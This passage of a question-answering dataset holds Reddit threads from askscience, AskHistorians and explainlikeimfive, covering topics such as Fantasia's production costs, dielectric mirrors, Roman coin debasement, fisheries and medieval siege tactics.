Disney's noble and highly provocative experiment separated certain lovers of the respective arts rather than united them.\"  \n    \nHowever, audiences seemed to love it, so much so that Walt started working on a sequel almost immediately after it's New York premier. But *Fantasia* worked almost opposite of what he predicted when he said it would be a \"slow money maker, but a big money maker in the long run.\" It did very well in the first few weeks of it's roadshow run, but for the film's total experience, it required the Fantasound system that was designed for the movie, and it was expensive to install and lug around. RKO wanted the film cut because it was too long, and twenty-five minutes were trimmed off the film's original two-hour-five minute runtime, mainly getting rid of or shortening Deems Taylor's introductions before each musical piece. What killed *Fantasia* wasn't the criticism, but that the movie was extremely difficult and time consuming to animate as well as the exorbitant costs to make it. All of Disney's films up to that point had cost the studio a lot of money, and after *Fantasia* the Disney studio was in debt for around $3 million dollars.  \n  \nSource: *Walt Disney: The Triumph of the American Imagination* by Neal Gabler", "Follow up question: was this scene influenced by what was going on in Europe at the time? "]}, "title_urls": [], "selftext_urls": ["https://www.youtube.com/watch?v=SLCuL-K39eQ"], "answers_urls": [[], [], [], []]}
{"q_id": "3j0yj6", "title": "Is there a theoretical maximum for a how reflective a surface can be?", "selftext": "I remember reading a while ago that household mirrors absorb around 10% of light that hits them. Is there specialised mirrors that are more efficient? If so, what are they used for?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/3j0yj6/is_there_a_theoretical_maximum_for_a_how/", "answers": {"a_id": ["culd2mh", "cum27g0"], "score": [27, 4], "text": ["The theoretical maximum for reflection is 100%.\n\nIn theory, any ideal metal is 100% reflective. In practice, mirrors, coated with metallic layer on the back of a transparent glass, does not reflect 100% because even metal can absorb the incoming light slightly. Gold is a very good natural reflector with less than 2% (recalling this from my head really).\n\nIn practice, the often used way to effectively reflect light is to take advantage of the wave nature of light and reflect light via interference. These \"specialised mirrors\", or photonic mirrors, use layers of transparent mediums, often two alternating materials stacking on top of each other, that have thickness less than the wavelength of the light. If the thickness is correct, 100% of the light can be reflected due to interference. Of course, you can also adjust the thickness to decrease the reflection to 0%.\n\nThese specialised mirrors and lenses are already in use today. The most often ones I can think of is the eyeglass. Coated with so-called anti-reflection coatings, the eyeglass has layers of transparent mediums coated on top to cause constructive inteference, so the reflection can be decreased.", "/u/isison is close, though in the optical coating industry these are usually referred to as dielectric mirrors, not photonic mirrors.  The simplest type is commonly called a \"quarter wave stack\".  By stacking quarter wavelength [optical] thicknesses of material, you can achieve arbitrarily good reflection (as close to 100% as you want) at a specific wavelength (and its harmonics).  However, you can be limited by material properties, such as adhesion of your materials to each other or to their substrate.  I work in lasers and we use these mirrors to define the optical cavity of the laser.  Use of anything other than dielectrics to produce the mirrors is discouraged for high power density lasers because any absorption (which metals do in small amounts) tends to result in catastrophic device failure."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1n5900", "title": "Leaders/Important figures who did not speak the language of their people?", "selftext": "I recently finished *A Frozen Hell* by William Trotter, a book about the Winter War, which led me to read more about Carl Gustaf Emil Mannerheim.\n\nThough he led Finland through a civil war and World War Two he apparently learned Finnish late in life and often required a translator. I get that its understandable in Mannerheim's case as he grew up speaking Swedish, an official and somewhat common (14% in 1900) language in Finland, but it got me interested. \n\n**Which Leaders in history did not, either initially or ever, speak the language of the people which they led? Why? How was that received by their people and how did it affect their lives?**\n\nI realize that many, especially royal families, were multilingual and that French was quite popular but I believe there were some other cases like Catherine the Great going to great lengths to learn Russian from her native German and I'm not sure what Marie Antoinette spoke natively (German?) but I've heard she had difficulties with French...I haven't been able to verify that though.\n\nJust for the sake of scope I'll limit this question to Europe from the Renaissance to 1900 or so (I'm sorry that's broad) but I would be interesting in hearing of other cases. I looked in the Popular Questions section to see if this was covered in [Lingua Francas](_URL_0_) but I couldn't find anything. I apologize for both the obscurity and silliness of the topic and hope I didn't violate any of the rules here, I'm just very interested.\n\n\nThanks.\n", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1n5900/leadersimportant_figures_who_did_not_speak_the/", "answers": {"a_id": ["ccflrd4"], "score": [3], "text": ["George I of Great Britain didn't speak English when he ascended to the throne. He was the first king of England of the House of Hanover - so his first language was German. He also was fluent in French and spoke some Latin, Italian and Dutch.\n\nHis lack of English made him unpopular initially, but it seems likely he learned English before he died."]}, "title_urls": [], "selftext_urls": ["http://www.reddit.com/r/AskHistorians/wiki/language#wiki_cross-cultural_communication_and_lingua_francas"], "answers_urls": [[]]}
{"q_id": "uywoc", "title": "[Rome] Why did emperors devalue currency?", "selftext": "Perhaps this is a stupid question, but I'll ask anyway: why did so many emperors (right now I'm reading about Commodus and Elagabalus) devalue the empire's currency? Was it simply a matter of making what they had go farther (ie. if coins are now only 2.5g from 2.8g they can be melted down to make more)?\n\nEdit: I just noticed that the extension of wealth argument doesn't work. Also, I see that Elagabalus demonetized the antoninianus - can anyone shed any light on the reasoning behind that?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/uywoc/rome_why_did_emperors_devalue_currency/", "answers": {"a_id": ["c4ztmyj", "c4zuvnl", "c4zx9ge", "c501g1m"], "score": [2, 2, 3, 6], "text": ["One reason is that the [pay of soldiers](_URL_1_) was dominated in [Denarii](_URL_0_). Lower the cost of producing the denarii by debasing it and you can hire more troops. ", "I believe it was indeed a way to print more money. They didn't have the understanding of economics that we have today.", "(Having not studied Roman History or this time in particular, I will give you a brief economic lesson)\n\nA government has control over the money supply (they can define money, mint/print it, collect it, and use it). Most countries have this power (leave out some tiny countries and the EU), so it's not uncommon for countries to practice devaluing currency.\n\nWhat devaluing does to currency is allow past debts and contracts to be paid off in current denominations. For example, say I as the country of Pinkycatcherland said I will buy a parthenon for 1,000 pinkybucks. I sign the contractor up and everybody, and they start building. But I realize that I only have 20 pinkybucks in the pinkybank, I don't want to borrow any money from someone else because that's expensive, so what do I do? I print/mint more! (minting is a little more complicated, but is basically the same effect, but it's more obvious to the public when coins change size). Ta-da! The contractor gets paid and everyone is happy. Except there are now 1980 more pinkybucks in circulation.\n\n*end explain it like I'm 5 explanation, begin more in depth econ discussion*\n\nSo we've established a basic reason why a country will print currency. To pay off past and current debts (it's often easier to do this, than to stop future payments because beauraararereaarrrcracies move slow)\n\nIf one is a neo-classical or monetarist economist they will say this will cause inflation because there is now more money in circulation but the same amount of goods (I mean, people were already producing everything they could right). So the problems with printing money mean that each time the govt does this they increase inflation, which is a bad thing to do. \n\nIf one is a keynesian economist you would say hey! People wern't working, there was unemployment, there were people unable to find employment. We can solve this! We simply take these unemployed, and pay them to go build our parthenon instead. This will give these people a job (yay!) and not increase inflation because these people are producing something so more goods in teh market and more money in the market equal good stuff for everyone!\n\nThat is another (generally more modern) reason for printing/minting money.\n\n\nOther possible reasons for changing money from say 2.8g to 2.5g would be standardization with other countries or within regions, it could be for ease of use (maybe there was some machine or transportation thing or something that worked better with 2.5 than 2.8), it could be political (a bunch of senators own banks and this would make them rich). It could be the new emperor wanted to print more coins with his face on it, so now that he devalued the currency there were more coins out there with his face on it making him more visible than his predecessor. \n", "Blockbaven has put forward what is probably the closest answer that we can come up with, or at least the initial debasement of the Aureus and Denarius under Nero from near-pure metal to about 95% purity. Duncan-Jones in 'Money and Government in the Roman Empire' (2009) puts it: 'The new lower standards meant more coin from a given amount of precious metal.' (p.100). Later in the third century in particular, lack of access to mines cut off by revolts or usurpers (such as the breakaway Gallic empire in the 260s) often forced debasement further.\n\nThere is an often unconsidered political motive to coin debasement as well. The accession of the emperor usually resulted in an immediate flurry of coinage to get the emperor's image throughout the empire as fast as possible, and recalling coins from the empire to remint took time. This habit increased during crisis years, such as the year of the four emperors. The evidence for minting coins to meet economic need is less common in the first two hundred years of the empire than that of temporary silver debasement for creating an emperor's early issues.\n\nMy first port of call for this sort of topic would be Andrew Burnett's 'Coinage in the Roman World' (1987), which is an ideal starting point."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Denarius", "http://en.wikipedia.org/wiki/Roman_legion#Pay"], [], [], []]}
{"q_id": "1b2w72", "title": "When hunting, do different wolf packs use different tactics when taking down prey like a dear or are they generally the same for all wolves?", "selftext": "Like are some packs more sneaky while others go simply go straight in? Also if that is the case why is that, are  the tactics defined by the alpha or some other factor?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1b2w72/when_hunting_do_different_wolf_packs_use/", "answers": {"a_id": ["c9358e9"], "score": [2], "text": ["I don't know about wolves, although I did come across [some research](_URL_1_) indicating that it is possible to simulate the hunting techniques of wolves as an emergent behavior that doesn't require either leadership or communication.\n\nWhile we're waiting for someone who knows more about wolves, [here's an article](_URL_0_) explaining that what you're asking about does happen with Orcas. Various tactics and behaviors are learned and passed on from generation to generation and whale to whale, resulting in differences between various groups and populations."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.smithsonianmag.com/science-nature/Understanding-Orca-Culture.html", "http://www.sciencedirect.com/science/article/pii/S0376635711001884"]]}
{"q_id": "2b5zam", "title": "how can these people dip their hands into boiling oil and not get hurt?", "selftext": "I've found a couple of videos on Youtube with people dipping their hands in boiling oil without getting hurt. You can see a bunch of them by searching Youtube for \"boiling oil hand\". Examples:\n\n* Video 1: _URL_0_\n* Video 2: _URL_1_\n* Video 3: _URL_2_\n\nHow is this possible?\n", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2b5zam/eli5_how_can_these_people_dip_their_hands_into/", "answers": {"a_id": ["cj23x66", "cj243q6"], "score": [10, 3], "text": ["dip hands in water first. Water and oil don't mix", "He's exploiting a property known as the [Leidenfrost effect](_URL_1_). \n\n\nBasically, when he dips his hand in the cool water puts it in the extremely hot oil, the water vaporizes. This water vapor is a relatively poor heat conductor, and provides a thin protective barrier between his hand and the oil. However, the thin water layer won't last forever and you would get some pretty serious burns if you left your hand in there for too long. \n\n[Mythbusters also did an episode on this](_URL_0_), where they were dipping their hands in molten lead without being burnt.  "]}, "title_urls": [], "selftext_urls": ["https://www.youtube.com/watch?v=harrBMu3up4", "https://www.youtube.com/watch?v=t3-6XLdCyAM", "https://www.youtube.com/watch?v=GDZ4ao6kEdg"], "answers_urls": [[], ["http://www.youtube.com/watch?v=yTOCAd2QhGg", "http://en.wikipedia.org/wiki/Leidenfrost_effect"]]}
{"q_id": "3d9r2y", "title": "why is the fence hungary is building along it's southern border considered as controversial and newsworthy as it is?", "selftext": "Judging from the newsstories about this I'm getting the idea that the fence is considered very controversial. I get that it's generally not a nice thing to do, but surely a lot of nations around the world have some sort fence or barrier to stop immigrants. Spain is doing the same with it's enclaves in Northern Africa. Why is the Hungarian fence any different?\n\nIs the fence considered to be a political provocation in the Balkans? Is it rude because Serbia is a candidate member of the EU? Or is it that the Hungarian government is already generally disliked and is this just the next reason to dislike it?\n\nAre there any redditors from the region who can tell me how the fence is perceived in their countries?\n\nEDIT\n\nIs there somebody from Serbia who can give me the general Serbian opinion on the fence?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3d9r2y/eli5_why_is_the_fence_hungary_is_building_along/", "answers": {"a_id": ["ct3b48g", "ct3gzmj", "ct3kckk"], "score": [29, 3, 5], "text": ["Hungary is a member of the European Union, which is based on a set of principles - it's very dedicated to a set of ideals, similar to a great extent to American ideals, but with one (for this situation) notable exception - freedom of movement.\n\nThe Schengen Agreement, part of EU law, stipulates that member countries (not all EU countries are in Schengen, and there are some non-EU Schengen countries, but that's beyond ELI5) have open borders - freedom of movement for goods and people.\n\nHungary building a *physical* border - a wall, no less - between itself and a nation in good standing with Schengen (Serbia is an EU candidate country, and has freedom of access through Schengen, meaning that a Serbian citizen only needs a passport to go to Hungary, not a visa) goes directly counter to EU ideals.\n\nThe EU evolved from its predecessor - the European Economic Community - in the early 90s, as a consequence of the fall of the Berlin wall. So for Hungary to build a wall is directly against EU spirit and ideals, and against EU law, as Hungary's border is no longer merely its own, but the border to the wider EU, meaning it's effectively France's, Germany's, Belgium's, etc. border as well, so Hungary can't just go and do something like that without consulting the EU Parliament.\n\nAnother issue is that Hungary's leader, Victor Orban, is widely disliked by European heads of state for being a right-wing, populist jerk who's been courting the extreme right-wing and fascist organizations and is openly against Western-style liberalism and democracy, so this is the latest in a long line of grievances of the EU against Orban.\n\nHope this helps.", "It's silly how they think walls and fences will stop illegal immigration. These immigrants are not dumb, they don't want to settle in Hungary, it's just a transit country so they can reach Austria, Germany, Switzerland etc.", "Serb here. \n\nGeneral opinion here - we find it ridiculous, and quite insulting. \n\nWe've had bad rep for years, and _finally_, after numerous terrible governments, we are on better track, EU candidate, part of Shengen, and the fence is one big \"Fuck you\" from Hungarian government. \n\nThe wall won't change much regarding the immigrants. Serbs will still pass the border with passport, like they do now. Immigrants only crossed Serbian-Hungarian border because it direct, shortest route to EU, with wall in place, they will just switch to Croatia or Romania."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "29twb9", "title": "what is the difference between cheap 35-49p energy drinks and red bull?", "selftext": "I always wondered what's the extra 90 pence in red bull,  aside from the brand ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/29twb9/eli5_what_is_the_difference_between_cheap_3549p/", "answers": {"a_id": ["ciofgx7"], "score": [2], "text": ["That brand costs a lot of money. They advertise the fuck out of their sugar water and sponsor crazy shit left and right.\n\nIn addition to that, RB charges more to keep the impression that the brand is better than others. There's really no reason it should cost any more than Coca Cola."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1t2nt3", "title": "Could you solve ocean overfishing by using species specific breeding locations as a \"farm?\"", "selftext": "[Salmon generally breeds in some specific location every summer.](_URL_0_) So putting beaurocratic hurdles aside and this was done up to standard etc...\n\nCould you set up a base camp at these locations at the prescribed time and help the process along or somehow make the land more suitable to the process of these fish mating? and then you get more fish next time, etc.\n\nWhy can't you farm the ocean!\n\nSorry if this is a dumb question.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1t2nt3/could_you_solve_ocean_overfishing_by_using/", "answers": {"a_id": ["ce3u2nt", "ce3u79t", "ce3w72y", "ce3xoix"], "score": [11, 5, 26, 3], "text": ["No Take Marine Reserves (NTMR) can help fish populations recover, and then \"spillover\" into adjacent areas.  \n\nPart of the conclusion to [one study](_URL_0_): \n >  \"Here we show that species richness of large predatory reef fish increased fourfold and 11-fold inside two Philippine no-take marine reserves over 14 and 25 years, respectively. Outside one reserve (Apo) the species richness also increased.\"\n\nI'd say this is more of a park than a farm, but it sounds similar to what you're getting at. I don't know of any examples specifically for breeding grounds of migratory species, but sounds like an idea worth looking into.", "There are currently quite a few protective laws governing the spawning grounds of fish such as Salmon and the Nassau Grouper, unfortunately many endangered fish do not have a specific spawning ground. \n\nOn the topic of \"farming\" the ocean there is something which exists called Aquaculture. Although it is often insinuated that aquaculture is more environmentally sound it is also riddled with issues. One of the inherent problems with aquaculture is that in order to foster the growth of the fish being farmed, you must feed them smaller fish. This not only puts strain on the natural ecosystem but in the process of catching the massive amounts of small fish needed, there will be an inherent amount of bycatch (fish caught in nets unintentionally).", "Not by themselves no.\n\nThe problem of overfishing stems from the name itself:  Too much fishing.  But, unbeknownst to many people, this is actually not a biological problem, but a human dimension problem: how do we sustain livlihoods built around the exploitation of a resource while regulating for the longevity of the resource?\n\nManagers are tasked with figuring out ways to keep animals from getting crushed by overfishing and to keep fishing activities from destroying habitat where species occur ALL the while trying to keep fishermen from going out of business and taking a huge chunk of the economy with them.  Thus, we need fishing to be healthy both environmentally and economically.\n\nMarine Sanctuaries are one way to do so: you take a large swath of ocean, and you protect if federally.  But this kind of practice is limited: only to the states that can enforce it.  Thus, we may have a hundred reserves here to protect brood stock for spawning, but if Brazil doesn't allow for reserves to protect juveniles from exploitation... then really we're not exploiting our fish to our economic benefit at all really and Brazil pays off in the short term.  See how weird that balances out?  \n\n[Here's a NOAA page about fisheries sanctuaries we cover](_URL_0_).\n\nTheoretically, \"farms\" for fish for FISHERIES exploitation can work, but only if the farm extends throughout the species' range.  In other words, if you're going to \"culture\" fish in such a farm, you need to be able to control all aspects of their life.  This ain't simply a free-range deal.  Even a free range farmer has an idea of what their stock health is.  Fish are very difficult to assess stock-health-wise.  They have a HUGE range.  If they aren't reef dwellers, and they are pellagic like Wahoo, for example, how the heck are you going to secure that vast amount of ocean for farming?  How many international treaties will you have to broker to get that range under control?\n\nWe can say we'll just protect them in our waters.  But what about that Brazil example I gave?  What's the point after that if we can't broker agreements?  We fight with Canada all the time over salmon and lobster.  And it takes years for the dust to settle and in that time, fishermen are still going at it and the farm is still not even materialized.\n\nTheoretically such a situation could work if fish were range restricted and other states recognized the property ownership of the farmer so that the stock can be tightly controlled.  You can't put that bureaucratic fact aside no matter the hypothetical  BUT we still can't control huge populations of certain fish because even if their ranges for a portion of the year are under control, you'd need to control ALL their life history for a good \"crop\" for fishing.  Simply helping them along at one point may give them a better advantage at home, but more money down the road for states who don't care.  \n\nTl;Dr  The ocean is so large and so weird that if you attempt to 'farm' fisheries then you are asking companies to dump insane amounts of money into buying the ocean, and considering how species do change areas from time to time for various life stage reasons, it's a big, big money investment that it's just more simple to farm species in real farms and leave the fishermen to go out searching for their catch.  \n\nEdit:  Thanks for the gold!", "Keep in mind that many ocean species do not breed near/on land, others have unknown breeding behavior, and still others are undiscovered(!).\n\nYou're not wrong that it's possible to \"help\" some species along via assisting their spawn, but in most cases that's not enough to ensure population growth.  Factors such as pollution, predation from other native or invasive species, climate (water temperature and current), damage to the ocean environment from fishing other species, exploiting other resources, etc. all come into play for ensuring that the little fish become big fish.\n\nFarming as you suggest could be effective *if* you only care about one or two species and you select species that can effectively be farmed, and you don't care if the oceans are otherwise barren (hint... practically, this is an impossibility.  Barren oceans with no life would affect the climate everywhere, even on land, in ways we won't like).\n\nTo give you an example of a fish that's not fully understood and which is slow to recover even with assistance during spawning, consider [orange roughy.  ](_URL_0_)\n\nIt's mostly found in cold, very deep water.  Like many fish that enjoy this kind of habitat it's very slow growing.  The odds are good if you see orange roughy in the grocery store that it's a 50+ year old fish. \n\nThey don't breed until they are 20 or so years old (like humans for the most part :) and when they do they produce relatively few eggs.  They spawn in deep water too, but the young rise to 200 meters to develop.  The young eat plankton and then fish and squid as they mature.\n\nSo imagine \"helping\" this species... you have to locate a spawning area in deep water, use submarines, ROVs, or divers to do whatever you're going to do, then for 20 years you have to somehow help the young fish survive in greater numbers than are usual until they reach breeding age.  During this time the fish can die off due to lack of plankton to eat, predation, disease, or any number of other causes.  Even in a well balanced ecosystem this is difficult... in an ocean that's dying there'll be other fish eating anything that moves.\n\nTrying to farm the young on land then move them to the sea is worse... ever see a fish hatchery with 300-400 meter deep tanks to keep adults in?\n\nMost of the species in the ocean are like this... they don't need land for much of anything.  Other species need only shallow waters or reefs.  The species that use rivers etc. to spawn are in the minority.\n\nAdd to that the fact that many of these species are being killed off rapidly by third world countries that don't even have the world \"sustainable\" in their language, and the future of ocean species is bleak indeed.\n\nWe may end up with a situation in the ocean that's like Chinook salmon in Lake Superior.  Chinook don't naturally breed and spawn there.  All the Chinook in the lake are planted as young fish and mature and live there.  If men stop putting in the fish, then within one generation all the salmon will be gone.\n\n"]}, "title_urls": [], "selftext_urls": ["http://en.wikipedia.org/wiki/Salmon_run"], "answers_urls": [["http://www.esajournals.org/doi/abs/10.1890/09-1197.1"], [], ["http://sanctuaries.noaa.gov/"], ["http://en.wikipedia.org/wiki/Orange_roughy"]]}
{"q_id": "1fdiz7", "title": "At what point in time did maths classes become standard education?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1fdiz7/at_what_point_in_time_did_maths_classes_become/", "answers": {"a_id": ["ca9bb0l"], "score": [2], "text": ["Standard education for who?  If you mean \"standard education\" in terms of education that was provided to the masses, that is a relatively recent phenomenon.  If you mean \"at what point was math part of the curriculum for those people who had access to education\", which for most of history has been a fairly restricted group of people: we have math problem sets for students that date back to the Middle Kingdom of ancient Egypt, with indications that they are rooted in earlier works that simply weren't preserved.\n\n\"Apart from tables, the mathematical texts also include special procedures articulated within problem texts. As these names indicate, such texts set out a problem and then give instructions showing how to solve it. Procedure texts derive from an educational setting. They may have been written by a teacher, who was compiling a handbook, or perhaps by a student engaged in practicing mathematical techniques. An appreciation of this context is important for understanding these texts, which were intended to prepare scribes for the mathematical tasks they would later have to execute as part of their daily work.\"\n\nImhausen, Annette, and David E. Rowe. \"Ancient Egyptian mathematics: New perspectives on old sources.\" The Mathematical Intelligencer 28.1 (2006): 19-27.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "6be8fw", "title": "why does our mind seem to work against itself in cases such as anxiety and depression?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6be8fw/eli5_why_does_our_mind_seem_to_work_against/", "answers": {"a_id": ["dhlvs5u", "dhm0xx0"], "score": [8, 7], "text": ["One theory is that these simply represent a defect, something that's a bit broken.\n\nAnother theory is that the human brain is not good at coping with the conditions of modern civilized life.\n\nAnother theory is that these are actually *helpful* emotions to keep you alive in a situation that's really threatening.", "Your mind is not a single, unified thing. It has many components, each with its own agenda. Usually they work together, but sometimes there's disunity in there.\n\nAlso, sometimes only some components may break, while the rest will continue on more or less as they were."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "46um4x", "title": "why isn't dual citizenship much more of an issue in u.s politics?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/46um4x/eli5why_isnt_dual_citizenship_much_more_of_an/", "answers": {"a_id": ["d07z8aw"], "score": [2], "text": ["In what way do you think it should be more of an issue?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "5tarze", "title": "why do people get third nipples, and not like. third eyes?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5tarze/eli5_why_do_people_get_third_nipples_and_not_like/", "answers": {"a_id": ["ddlf7ab"], "score": [11], "text": ["Hippies notwithstanding, it is possible for any structure on the body to malform or duplicate, but the chances diminish with the complexity of the organ. Third nipples are normally immediately next to a normal nipple and are caused by the mammary gland forming an extra spout.\n\nWhen the eye malforms, it generally doesn't split into two complete eyes, it creates one eye with extra features, most commonly [the double tris](_URL_0_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://imgur.com/qzPPHvp"]]}
{"q_id": "aq7zc3", "title": "how does a waffle maker know the waffle is ready?", "selftext": "I LOVE making waffles since forever and I always wondered: how does the waffle maker know I need to take it out now? And it even adjusts to tell me earlier when I take it out earlier!\n\nHow is that possible with just a temperature gauge?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/aq7zc3/eli5_how_does_a_waffle_maker_know_the_waffle_is/", "answers": {"a_id": ["ege02l9", "ege2mu6", "ege2puk"], "score": [8, 3, 13], "text": ["I can't say for all of them, but I believe most waffle makers are on a timer. The usual time is 2:30, if you're interested. ", "There are sensors inside modern systems, which are digitally controlled using a microcontroller. Maybe upon reaching a specific optimal temperature, the controller would cut off power from the heater element.", "There is a temperature sensor built into the metal of the waffle iron.  When there's wet batter in contact with the waffle mold, the temperature stays at around the boiling point of water.  But once the waffle's surface dries out and gets crispy, the temperature rises suddenly, which the temperature sensor detects."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "e3zczs", "title": "why can you patch tread but not sidewall or near sidewall on tires?", "selftext": "I get it's a safety issue, but what is different between the tread and sidewall? Does sidewall get more pressure? If so how?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/e3zczs/eli5_why_can_you_patch_tread_but_not_sidewall_or/", "answers": {"a_id": ["f95qliz", "f95twgw"], "score": [3, 4], "text": ["Pressure would be the same throughout the inside of the tire.\n\nThe sidewall is constantly flexing, or bending, as the tire rolls down the road with so much weight on it.  A patch would be a weak place in the sidewall and would probably fail rather quickly.  Also, this flexing causes heat, so the sidewalls get hotter, which would also weaken the patch.", "The sidewall is thinner than the tread so many patch methods are not reliable. In addition, sidewall holes tend to be more of a tear than a puncture, making repair almost impossible. \n\nThe movement and manipulation of the tire shape while in use also affects the ability to repair the sidewall. Much like how a bandaid covers a wound on the flat length of your finger but does not work as well when the wound is at the joint where your skin moves and flexes as your finger bends:\n\nThe tread mostly remains in one shape \n- flat on the road. \n\nThe sidewalls are constantly rolling and curving to absorb the weight of the car\n- notice that tires appear fatter at the point where the weight of the car rests on the road. That bulge is always present so as the tire rolls around, the wall has to flex\n- the sidewall also flexes as it absorbs impacts to the tire from holes and bumps in the road. \n- the sidewall also flexes to absorb the side-to-side physical forces created while turning.  (consider the 3,000 lb vehicle traveling at 50 mph while rounding a highway curve - the tire battles the inertia that wants to keep the car going forward as the driver turns the wheel - that force is applied disproportionately to the outside edges and sidewalls of the two tires on the outside of the curve).  \nThese forces exceed the force from mere inflation pressure.  The flexibility of the sidewall is crucial for accommodating those forces. \n\nNext time you have a chance, look at a tire that is off the rim. You can easily push and manipulate the sidewalk, but not the tread because of the thickness and the steel component\n\nThe tire plug, for example, needs the glue to adhere to the interior of the hole it passes through as well as to expand into a bulb on the inside to completely seal the hole. \n\nAn interior patch may work for a sidewall hole, as will placing an inner tube inside the tire, but much more labor is involved and they are not reliable repairs for modern driving conditions."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1wf67q", "title": "I am a Siegemaster in 1400, and I am laying siege to a castle", "selftext": "The castle has curtain style walls that are thirty feet high, and of a relative thickness that supports them solidly. They are on the flatlands of France, and the Castle is occupied by roughly two hundred soldiers. What kind of siege weapons do I bring, how many men do I bring, and how do I go about successfully conquering the castle? Success can be defined as cessation of armed resistance inside the walls.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1wf67q/i_am_a_siegemaster_in_1400_and_i_am_laying_siege/", "answers": {"a_id": ["cf1hvri", "cf1j75s"], "score": [20, 9], "text": ["There were no sieges of castles in France in 1400.  France was enjoying an uncharacteristic lull in the 100 Years War against England.  War on a large scale would not resume until 1415, when King Henry V invaded France.\n\nIf there had been a siege at this time, however, the besieging forces would have had some tactics which they could use.\n\nCannon, though primitive ones had been introduced, were not yet powerful enough to be seriously threatening weapons against a castle of this size and scale.  (Though they soon would be, as in 1453 cannon were instrumental in the siege of Constantinople.)\n\nThe besiegers might try to assault the castle, with ladders and siege towers, with covering fire from archers and trebuchets.  This, however, was unlikely to be a successful tactic against such a strong castle, with such high walls and such a large garrison.  Simultaneous attacks against the whole perimeter might succeed, but even that would be unlikely, and very costly in casualties.\n\nIt might be possible to negotiate with the defenders, and entice them or bribe them to surrender.  If that didn't work, it might be possible to find a traitor who could be bribed to open a postern door or let down a rope ladder from some secluded point on the walls.\n\nBarring those solutions, the castle could be besieged.  Depending on how well the castle was provisioned (which could probably be discovered) such a large garrison might not be able to hold out for long before starting to run out of food.\n\nIf the castle was well provisioned, and it was important to capture it, the only option left was mines.  The castle is built on flat land, so presumably not on bedrock.  Therefore, a mining operation was possible.\n\nMining operations took a long time, and were dangerous, but they often worked.\n\nAt Caen in 1417, and at Melun in 1420, King Henry V used mining to attack French fortresses.  The French defenders used bowls of water to detect English mines by watching for ripples in the water caused by English mining operations vibrating the ground.  Then they would dig \"counter-mines\" to try to disrupt the miners.  \n\nKing Henry himself is said to have gone down into the mines at Melun to fight against French counter miners.\n\nSource:  _URL_1_\n\nAt the siege of Caen, the English mines opened a breach in the walls through which the Duke of Clarence's men forced an entry, taking the city.  The citadel surrendered two weeks later.\n\nAt the siege of Melun, the English and Burgundians had 20,000 soldiers versus 700 defenders.  Breaches in the wall made by the mines were successfully defended by the French (illustrating the great defensive strength of castles in the era before powerful cannon) but after a 5 month siege, the castle was forced to surrender due to lack of supplies.\n\nSource:  _URL_0_\n\n", "Admittedly I am outside of my area of expertise as it is medieval France, but I think I can answer at least generally drawing from my knowledge of sieges at large. \n\nDepending on how much traffic the castle gets, you would want a *minimum number of troops* for a variety of reasons. In other words, the fewest amount of troops necessary to complete your objective. \n\nFirst of all, feeding an army on the move and away from home is expensive, complicated and difficult. It's also a necessity and only gets harder the more soldiers you bring. \n\nAlso, many men mean new difficulties in other areas of logistics, particularly orderly travel. Assuming you muster your forces in a staging area and then travel together to the target lands/castle, more soldiers mean slower movement, meaning more supplies and money needed as well as time. This growth in the numbers of an army can grow exponentially because for every fighting soldier, generally there were at least 1, maybe 2 people supporting him in the follower's camp. \n\nAn army of 100,000 would have been a core of maybe 20,000 soldiers with many others being common laborers, camp followers, some auxiliaries etc. \n\nSo in the case of numbers of troops you would bring, *less is more*. Of course this changes as circumstances change but in general. \n\nAt the same time, the general rule of thumb is that to actively take a defensible position from an enemy, you need more manpower. This is because defensive positions, like a castle, are force multipliers and are inherently made to give an inferior force the chance to hold out against in the face of a superior force. \n\nOf course, this is assuming that the attackers will be trying to take the castle by *force of arms*. \n\nUnless your siege is exceptional in circumstances or has specific time sensitive goals like \"we must take this castle in a week so we aren't crushed by a relief force coming to this castle's aid\", generally a siege is less about intense Helm's Deep style siege combat and more about posturing, *shows* of force. \n\nEveryone knows the first thing the besieging force does is cut off all the roads and control traffic into and out of the area. \n\nThe thing is, this is usually the *only* thing a besieging force has to do. \n\nNow this might seem dismissive of the pressures and seriousness of the difficulty of conquering a castle, but the vast majority of sieges throughout history ended without a pitched battle, with men falling from walls and fiery artillery blowing down gates. \n\nThat being said, it's simple to say 'surround the castle, then just wait' but it's something else to actually do so. \n\nYou need enough men to control the flow of people and traffic as well as exert some power in rough country, ie areas off the roads or 